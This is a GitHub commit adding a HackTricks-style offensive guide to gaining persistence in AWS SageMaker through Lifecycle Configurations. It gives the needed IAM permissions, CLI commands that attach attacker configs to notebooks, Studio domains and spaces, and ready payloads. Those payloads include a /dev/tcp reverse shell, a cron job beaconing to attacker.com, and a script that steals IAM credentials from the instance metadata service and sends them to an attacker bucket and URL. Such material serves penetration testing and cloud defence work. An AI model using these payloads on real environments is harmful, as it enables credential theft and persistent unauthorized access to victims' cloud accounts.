Skip to content

Commit b0fe808

Browse files
committed
Merge branch 'master' of github.com:HackTricks-wiki/hacktricks-cloud
2 parents 6c2ecbc + 703cb1e commit b0fe808

File tree

1 file changed

+159
-0
lines changed

1 file changed

+159
-0
lines changed
Lines changed: 159 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,159 @@
1+
2+
# AWS - SageMaker Lifecycle Configuration Persistence
3+
4+
## Overview of Persistence Techniques
5+
6+
This section outlines methods for gaining persistence in SageMaker by abusing Lifecycle Configurations (LCCs), including reverse shells, cron jobs, credential theft via IMDS, and SSH backdoors. These scripts run with the instance’s IAM role and can persist across restarts. Most techniques require outbound network access, but usage of services on the AWS control plane can still allow success if the environment is in 'VPC-only" mode.
7+
#### Note: SageMaker notebook instances are essentially managed EC2 instances configured specifically for machine learning workloads.
8+
9+
## Required Permissions
10+
* Notebook Instances:
11+
```
12+
sagemaker:CreateNotebookInstanceLifecycleConfig
13+
sagemaker:UpdateNotebookInstanceLifecycleConfig
14+
sagemaker:CreateNotebookInstance
15+
sagemaker:UpdateNotebookInstance
16+
```
17+
* Studio Applications:
18+
```
19+
sagemaker:CreateStudioLifecycleConfig
20+
sagemaker:UpdateStudioLifecycleConfig
21+
sagemaker:UpdateUserProfile
22+
sagemaker:UpdateSpace
23+
sagemaker:UpdateDomain
24+
```
25+
26+
27+
## Set Lifecycle Configuration on Notebook Instances
28+
29+
### Example AWS CLI Commands:
30+
```bash
31+
# Create Lifecycle Configuration*
32+
33+
aws sagemaker create-notebook-instance-lifecycle-config \
34+
--notebook-instance-lifecycle-config-name attacker-lcc \
35+
--on-start Content=$(base64 -w0 reverse_shell.sh)
36+
37+
38+
# Attach Lifecycle Configuration to Notebook Instance*
39+
40+
aws sagemaker update-notebook-instance \
41+
--notebook-instance-name victim-instance \
42+
--lifecycle-config-name attacker-lcc
43+
```
44+
45+
## Set Lifecycle Configuration on SageMaker Studio
46+
47+
Lifecycle Configurations can be attached at various levels and to different app types within SageMaker Studio.
48+
49+
### Studio Domain Level (All Users)
50+
```bash
51+
# Create Studio Lifecycle Configuration*
52+
53+
aws sagemaker create-studio-lifecycle-config \
54+
--studio-lifecycle-config-name attacker-studio-lcc \
55+
--studio-lifecycle-config-app-type JupyterServer \
56+
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
57+
58+
59+
# Apply LCC to entire Studio Domain*
60+
61+
aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
62+
"JupyterServerAppSettings": {
63+
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
64+
}
65+
}'
66+
```
67+
### Studio Space Level (Individual or Shared Spaces)
68+
```bash
69+
# Update SageMaker Studio Space to attach LCC*
70+
71+
aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
72+
"JupyterServerAppSettings": {
73+
"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
74+
}
75+
}'
76+
```
77+
## Types of Studio Application Lifecycle Configurations
78+
79+
Lifecycle configurations can be specifically applied to different SageMaker Studio application types:
80+
* JupyterServer: Runs scripts during Jupyter server startup, ideal for persistence mechanisms like reverse shells and cron jobs.
81+
* KernelGateway: Executes during kernel gateway app launch, useful for initial setup or persistent access.
82+
* CodeEditor: Applies to the Code Editor (Code-OSS), enabling scripts that execute upon the start of code editing sessions.
83+
84+
### Example Command for Each Type:
85+
86+
### JupyterServer
87+
```bash
88+
aws sagemaker create-studio-lifecycle-config \
89+
--studio-lifecycle-config-name attacker-jupyter-lcc \
90+
--studio-lifecycle-config-app-type JupyterServer \
91+
--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
92+
```
93+
### KernelGateway
94+
```bash
95+
aws sagemaker create-studio-lifecycle-config \
96+
--studio-lifecycle-config-name attacker-kernelgateway-lcc \
97+
--studio-lifecycle-config-app-type KernelGateway \
98+
--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
99+
```
100+
### CodeEditor
101+
```bash
102+
aws sagemaker create-studio-lifecycle-config \
103+
--studio-lifecycle-config-name attacker-codeeditor-lcc \
104+
--studio-lifecycle-config-app-type CodeEditor \
105+
--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
106+
```
107+
### Critical Info:
108+
* Attaching LCCs at the domain or space level impacts all users or applications within scope.
109+
* Requires higher permissions (sagemaker:UpdateDomain, sagemaker:UpdateSpace) typically more feasible at space than domain level.
110+
* Network-level controls (e.g., strict egress filtering) can prevent successful reverse shells or data exfiltration.
111+
112+
## Reverse Shell via Lifecycle Configuration
113+
114+
SageMaker Lifecycle Configurations (LCCs) execute custom scripts when notebook instances start. An attacker with permissions can establish a persistent reverse shell.
115+
116+
### Payload Example:
117+
```
118+
#!/bin/bash
119+
ATTACKER_IP="<ATTACKER_IP>"
120+
ATTACKER_PORT="<ATTACKER_PORT>"
121+
nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
122+
```
123+
## Cron Job Persistence via Lifecycle Configuration
124+
125+
An attacker can inject cron jobs through LCC scripts, ensuring periodic execution of malicious scripts or commands, enabling stealthy persistence.
126+
127+
### Payload Example:
128+
```
129+
#!/bin/bash
130+
PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
131+
CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
132+
CRON_JOB="*/30 * * * * $CRON_CMD"
133+
134+
mkdir -p /home/ec2-user/SageMaker/.local_tasks
135+
echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
136+
chmod +x $PAYLOAD_PATH
137+
138+
(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
139+
```
140+
## Credential Exfiltration via IMDS (v1 & v2)
141+
142+
Lifecycle configurations can query the Instance Metadata Service (IMDS) to retrieve IAM credentials and exfiltrate them to an attacker-controlled location.
143+
144+
### Payload Example:
145+
```bash
146+
#!/bin/bash
147+
ATTACKER_BUCKET="s3://attacker-controlled-bucket"
148+
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
149+
ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
150+
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
151+
152+
# Exfiltrate via S3*
153+
154+
aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
155+
156+
# Alternatively, exfiltrate via HTTP POST*
157+
158+
curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
159+
```

0 commit comments

Comments
 (0)